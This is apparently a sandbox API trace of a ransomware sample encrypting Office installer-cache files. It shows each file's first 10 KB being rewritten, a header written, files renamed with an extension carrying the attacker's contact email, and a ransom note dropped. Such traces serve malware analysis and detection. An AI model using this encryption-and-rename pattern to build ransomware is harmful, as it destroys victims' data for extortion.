[0055.606] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ca00570, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7ca00570, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1
[0055.606] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 76
[0055.606] StrStrIW (lpFirst="Setup.xml", lpSrch="SDfghjkl") returned 0x0
[0055.606] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0055.607] GetProcessHeap () returned 0x2e0000
[0055.607] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0055.607] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0055.608] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0055.608] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0055.609] GetProcessHeap () returned 0x2e0000
[0055.609] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0055.609] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0055.609] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0055.609] CloseHandle (hObject=0x10c) returned 1
[0055.609] GetProcessHeap () returned 0x2e0000
[0055.610] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0055.610] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 118
[0055.610] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0055.610] GetProcessHeap () returned 0x2e0000
[0055.610] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0055.610] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ca00570, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7ca00570, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0
[0055.610] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Instructions with your files.txt") returned 99
[0055.610] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Instructions with your files.txt" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0055.610] WriteFile (in: hFile=0x10c, lpBuffer=0x13638a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x13638a8*, lpNumberOfBytesWritten=0xecf114*=0x54, lpOverlapped=0x0) returned 1
[0055.611] WriteFile (in: hFile=0x10c, lpBuffer=0x2fe3f2*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x2fe3f2*, lpNumberOfBytesWritten=0xecf114*=0x18, lpOverlapped=0x0) returned 1
[0055.611] WriteFile (in: hFile=0x10c, lpBuffer=0x1363900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x1363900*, lpNumberOfBytesWritten=0xecf114*=0xc, lpOverlapped=0x0) returned 1
[0055.611] WriteFile (in: hFile=0x10c, lpBuffer=0x2fe424*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x2fe424*, lpNumberOfBytesWritten=0xecf114*=0x16, lpOverlapped=0x0) returned 1
[0055.612] WriteFile (in: hFile=0x10c, lpBuffer=0x1363910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x1363910*, lpNumberOfBytesWritten=0xecf114*=0x23, lpOverlapped=0x0) returned 1
[0055.612] CloseHandle (hObject=0x10c) returned 1
[0055.612] FindClose (in: hFindFile=0x2fef40 | out: hFindFile=0x2fef40) returned 1
[0055.612] GetProcessHeap () returned 0x2e0000
[0055.612] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x336770 | out: hHeap=0x2e0000) returned 1
[0055.612] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0057-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~2")) returned 1
[0055.612] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C") returned 66
[0055.612] GetProcessHeap () returned 0x2e0000
[0055.612] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x336770
[0055.612] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\*") returned 68
[0055.612] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fef40
[0055.614] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\.") returned 68
[0055.614] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0055.614] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\." (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0055.614] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0055.614] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\..") returned 69
[0055.614] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0055.615] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\.." (normalized: "c:\\msocache\\all users"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0055.615] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe5ed9630, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xe5ed9630, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x4655d500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1
[0055.615] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 81
[0055.615] StrStrIW (lpFirst="Office32WW.msi", lpSrch="SDfghjkl") returned 0x0
[0055.615] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0055.615] GetProcessHeap () returned 0x2e0000
[0055.615] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0055.615] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0055.617] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0055.618] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0055.618] GetProcessHeap () returned 0x2e0000
[0055.618] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0055.618] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0055.618] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0055.620] CloseHandle (hObject=0x10c) returned 1
[0055.620] GetProcessHeap () returned 0x2e0000
[0055.620] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0055.620] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 123
[0055.620] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0055.620] GetProcessHeap () returned 0x2e0000
[0055.620] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0055.620] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x16771fb0, ftCreationTime.dwHighDateTime=0x1cb12b4, ftLastAccessTime.dwLowDateTime=0x16771fb0, ftLastAccessTime.dwHighDateTime=0x1cb12b4, ftLastWriteTime.dwLowDateTime=0x46536400, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="OFFICE~1.XML")) returned 1
[0055.621] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 81
[0055.621] StrStrIW (lpFirst="Office32WW.xml", lpSrch="SDfghjkl") returned 0x0
[0055.621] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0055.621] GetProcessHeap () returned 0x2e0000
[0055.621] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0055.621] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x10b2, lpOverlapped=0x0) returned 1
[0056.009] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffef4e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0056.009] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x10b2, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x10b2, lpOverlapped=0x0) returned 1
[0056.010] GetProcessHeap () returned 0x2e0000
[0056.010] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0056.010] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0056.010] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0056.010] CloseHandle (hObject=0x10c) returned 1
[0056.010] GetProcessHeap () returned 0x2e0000
[0056.010] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0056.010] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 123
[0056.010] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0056.011] GetProcessHeap () returned 0x2e0000
[0056.011] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0056.011] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec54b6b0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xec54b6b0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x4a687710, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1
[0056.011] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 74
[0056.011] StrStrIW (lpFirst="ose.exe", lpSrch="SDfghjkl") returned 0x0
[0056.011] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0056.277] GetProcessHeap () returned 0x2e0000
[0056.277] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0056.277] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0056.280] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0056.280] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0056.280] GetProcessHeap () returned 0x2e0000
[0056.281] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0056.281] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0056.281] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0056.281] CloseHandle (hObject=0x10c) returned 1
[0056.282] GetProcessHeap () returned 0x2e0000
[0056.282] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0056.282] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 116
[0056.282] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0056.282] GetProcessHeap () returned 0x2e0000
[0056.282] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0056.282] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xde72fbf0, ftCreationTime.dwHighDateTime=0x1cb0d0b, ftLastAccessTime.dwLowDateTime=0xde72fbf0, ftLastAccessTime.dwHighDateTime=0x1cb0d0b, ftLastWriteTime.dwLowDateTime=0x49c902c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1
[0056.282] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 77
[0056.282] StrStrIW (lpFirst="osetup.dll", lpSrch="SDfghjkl") returned 0x0
[0056.283] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0056.283] GetProcessHeap () returned 0x2e0000
[0056.283] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0056.283] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0056.286] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0056.286] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0056.287] GetProcessHeap () returned 0x2e0000
[0056.287] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0056.287] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0056.287] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0056.290] CloseHandle (hObject=0x10c) returned 1
[0056.290] GetProcessHeap () returned 0x2e0000
[0056.290] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0056.290] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 119
[0056.291] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0056.291] GetProcessHeap () returned 0x2e0000
[0056.291] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0056.291] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc9c380f0, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xc9c380f0, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x465d00f0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1
[0056.291] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 79
[0056.291] StrStrIW (lpFirst="OWOW32WW.cab", lpSrch="SDfghjkl") returned 0x0
